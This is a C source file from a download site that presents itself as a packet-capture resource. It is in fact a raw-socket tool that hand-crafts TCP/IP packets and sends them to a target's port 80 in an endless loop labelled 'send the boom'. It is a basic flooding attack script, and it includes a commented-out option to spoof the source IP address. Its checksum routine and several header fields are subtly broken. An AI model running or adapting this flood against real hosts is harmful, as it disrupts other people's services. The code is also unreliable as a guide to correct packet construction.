⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 send.c

📁 抓取数据包
💻 C
字号:
#include <sys/socket.h>#include <netinet/in.h>#include <netinet/ip.h>#include <netinet/tcp.h>#include <stdlib.h>#include <errno.h>#include <unistd.h>#include <stdio.h>#include <strings.h>#include <string.h>#include <netdb.h>#define DESTPORT 80#define LOCALPORT 8888#define LOCAL_IP "192.168.0.100"void send_tcp(int sockfd,struct sockaddr_in * addr);unsigned short check_sum(unsigned short * addr,int len);int main(int argc,char **argv){	int sockfd;	struct sockaddr_in addr;	struct hostent *host;	int on=1;	if(argc!=2)	{		fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);		exit(1);	}	bzero(&addr,sizeof(struct sockaddr_in));	addr.sin_family=AF_INET;	addr.sin_port=htons(DESTPORT);	if(inet_aton(argv[1],&addr.sin_addr)==0)	{  		host=gethostbyname(argv[1]);  		printf("\nNow I begin gethostbyname\n");  		if(host==NULL)  		{   			fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));   			exit(1); 		}  		addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);	}/**************************************************************/	printf("NOW I begin to create sockfd");	sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);	//sockfd=socket(AF_INET,SOCK_STREAM,0);	printf("\nCreate sockfd success:%d",sockfd);	if(sockfd<0)	{	fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));	exit(1);	}	printf("/*NOW I WILL SEND THE BOOM*/");/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/  	setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));  
	setuid(getpid());  	send_tcp(sockfd,&addr);}/********send the boom****************************************/void send_tcp(int sockfd,struct sockaddr_in * addr){	char buffer[100];	struct ip *ip;	struct tcphdr * tcp;	int head_len;	char string[]="123456";	char *ptr,*p;	int i=1;	head_len=sizeof(struct ip) + sizeof(struct tcphdr) + sizeof(string);	printf("head_len= %d",head_len);	bzero(buffer,100);	//printf("struct ip=%d\n",sizeof(struct ip));	//printf("struct tcphdr=%d\n",sizeof(struct tcphdr));	ip=(struct ip *)buffer;	ip->ip_v=IPVERSION;	//ip->ip_v=5;	ip->ip_hl=sizeof(struct ip)>>2;	ip->ip_tos=0;	ip->ip_len=htons(head_len);	ip->ip_id=0;//0表示不分片,1表示分片,分片的大小1518.	ip->ip_off=0;	ip->ip_ttl=MAXTTL;	ip->ip_p=IPPROTO_TCP;	ip->ip_sum=0;	ip->ip_dst=addr->sin_addr;	tcp=(struct tcphdr *)(buffer +sizeof(struct ip));	tcp->source=htons(LOCALPORT);	tcp->dest=htons(DESTPORT);	tcp->seq=random();	//tcp->ack_seq=0;	tcp->ack_seq=(tcp->seq)+1;	tcp->doff=5;	//tcp->hlen;	//tcp->doff=0;	//tcp->syn=1;	tcp->syn=0;	tcp->rst=0;	tcp->window=1024;	tcp->check=0x7f8a;	tcp->ack=0;	tcp->psh=0;	tcp->fin=0;	tcp->urg=0;	//while(i<=5)while(1)	{			ip->ip_src.s_addr=inet_addr(LOCAL_IP);		printf("\n the src ip address is:%s\n",inet_ntoa(ip->ip_src.s_addr));		/*ip->ip_src.s_addr=random();*/		//tcp->check=check_sum((unsigned short *)tcp,sizeof(struct tcphdr));		printf("\n Sending the boom!\n");		//ptr=(char *)(tcp+sizeof(struct tcphdr));		ptr= (char *)((int)tcp + (int)(tcp->doff * 4));		p=strcpy(ptr,string);		printf(" the p is %s:\n",ptr);		printf("----------------------\n");		sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr_in));		//i++;		printf("\n Send Over!\n");	}}unsigned short check_sum(unsigned short *addr,int len){	register int nleft=len;	register int sum=0;	register unsigned short *w=addr;	short answer=0;	while(nleft>1)	{		sum+=*w+1;		nleft-=2;	}	if(nleft==1)	{		*(unsigned char *)(&answer)=*(unsigned char *)w;		sum+=answer;	}	sum=(sum>>16)+(sum&0xffff);	sum+=(sum>>16);	answer=~sum;	return(answer);}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -